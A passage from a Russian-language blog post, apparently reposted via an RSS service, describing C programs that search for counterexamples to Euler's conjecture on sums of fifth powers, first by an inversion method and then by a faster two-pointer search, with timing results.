            1000_______6 ч*________________1.5 ч*_______210.0____________880*
            5000_______2 г*________________0.5 г*________36 ч*
            Дальнейшие расчеты показывают, что мы можем ожидать получение результата для границы 10 тысяч в течении 24 дней, что практически приемлемо, хотя этого мы делать и не будем.

            Дальнейшее рассмотрение темы планировалось с учетом замечательного свойства пятой степени, а именно небольшого числа остатков по модулю 11, но эта тема неплохо раскрыта в очередном посте на тему гипотезы Эйлера и повторяться не буду, замечу только, что простого способа использования данного свойства предложено не было (и я его не вижу) а непростые требуют прямо таки неприличного количества памяти.

            МЕТОД ИНВЕРСИИ.
            Поэтому рассмотрение вопроса продолжим с другой стороны — переформулируем задачу следующим образом — найти четыре натуральных числа, сумма пятых степеней которых составит пятую степень натурального числа. На первый взгляд, ничего особенного не произошло, но мы можем начать задачу с конца — задаемся искомой суммой и пытаемся ее составить. Такой подход сразу позволяет нам сформулировать некоторые ограничения на подходящие числа. Например, для наибольшего из четырех чисел мы знаем, что оно не может превосходить искомого числа (это тривиально) и его пятая степень не может быть меньше одной четвертой пятой степени искомого числа (а вот это не столь тривиально, но очевидно), что сужает область допустимых кандидатов с n-1 до n*(1-корень пятой степени из 4=1.32), то есть в три раза. Далее, взяв кандидата на роль четвертого числа, мы можем сразу вычислить оставшуюся разность и выбирать кандидата на роль третьего числа с учетом аналогичных соображений по отношению к ней. Оценить результат подобной оптимизации аналитически лично я не берусь, поэтому просто пишем программу и смотрим на результат.

            #include "time.h"
            #include "stdio.h"
            #define LOOP(n,m) for (int n=m+1; n<=MAX; n++) 
            #define REZ(i) (Pow5[i])
            typedef long long rez_t;
            int main(void) {
                    rez_t Pow5[1001];
                    for (int i=0; i<=1000; i++) {
                            Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
                    };
                    for (int MAX=100; MAX<=1000; MAX+=50) {
                    clock_t t = clock();
            
                    unsigned long long v=0;
                    int r=0;
                    int i5=MAX; do {
                            int i4=i5-1; 
                            do {
                                    rez_t Ost1=REZ(i5)-REZ(i4);
                                    int i3=i4-1;
                                    if (REZ(i4)*4 > Ost1) 
                                    do {
                                            rez_t Ost2 = Ost1-REZ(i3);
                                            int i2=i3-1; 
                                            if ((REZ(i3)*3 > Ost2) && (Ost2>0)) 
                                            do {
                                                    rez_t Ost3=Ost2-REZ(i2);
                                                    int i1=i2-1;
                                                    if ((REZ(i2)*2 > Ost3) && (Ost3>0)) 
                                                    do {
                                                            v++;
                                                            if (Ost3==REZ(i1)) {
                                                                    r++;
                                                                    printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
                                                            };
                                                    i1--; } while (i1>0);
                                            i2--; } while (i2>0);
                                    i3--; } while (i3>0);
                            i4--; } while (i4>0);                
                    i5--;} while (i5>0);
            
                    t = clock() - t;
                    printf ("MAX=%d time is %f seconds.\n",
                      MAX, ((double)t)/CLOCKS_PER_SEC);
                    printf(" %llu %d\n",v,r);
                    };
                    return 1;
            };
            

            Неплохо, нам удалось существенно уменьшить коэффициент, но порядок остался прежним и на больших значениях мы проигрываем предыдущей программе.

            И тут приходит озарение – мы можем начать по новому методу, существенно сократив перебор двух старших слагаемых, а два младших будем искать методом гусеницы, поскольку мы уже знаем их сумму!!! (Количество восклицательных знаков вполне соответствует мощности идеи). То есть мы возьмем младшее число равным единице, следующее – максимально возможному с учетом старших и будем двигать нижнюю либо верхнюю границу интервала в зависимости от результата.

            #include "time.h"
            #include "stdio.h"
            #define LOOP(n,m) for (int n=m+1; n<=MAX; n++) 
            #define REZ(i) (Pow5[i])
            typedef long long rez_t;
            int main(void) {
                    rez_t Pow5[1001];
                    for (int i=0; i<=1000; i++) {
                            Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
                    };
                    for (int MAX=100; MAX<=1000; MAX+=50) {
                    clock_t t = clock();
            
                    unsigned long long v=0;
                    int r=0;
                    int i5=MAX; do {
                            int i4=i5-1; 
                            do {
                                    rez_t Ost1=REZ(i5)-REZ(i4);
                                    int i3=i4-1;
                                    if (REZ(i4)*4 > Ost1) 
                                    do {
                                            rez_t Ost2 = Ost1-REZ(i3);
                                            int i2=i3-1;
                                            int i1=1;
                                            if ((REZ(i3)*3 > Ost2) && (Ost2>0)) 
                                            do {
                                                            v++;
                                                            rez_t Sum2=REZ(i1)+REZ(i2);
                                                            if (Ost2==Sum2) {
                                                                    r++;
                                                                    printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
                                                            };
                                                            if (Sum2>=Ost2) i2--; else i1++;
                                            } while (i1<=i2); 
                                    i3--; } while (i3>0);
                            i4--; } while (i4>0);                
                    i5--;} while (i5>0);
            
                    t = clock() - t;
                    printf ("MAX=%d time is %f seconds.\n",
                      MAX, ((double)t)/CLOCKS_PER_SEC);
                    printf(" %llu %d\n",v,r);
                    };
                    return 1;
            };
            

            Вот программа, а вот и результат – для значений до тысячи мы считаем всего лишь 21.7 секунды – в 10 раз быстрее предыдущей версии, а уж с начальной и сравнивать не будем. С такой программой можно уже замахиваться и на значения порядка тысяч, оставляю это на долю пытливого читателя.

            Всех с Новым годом.

            Комментарии (0)

              This article passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
              Recommended article: The Guardian's Summary of Julian Assange's Interview Went Viral and Was Completely False.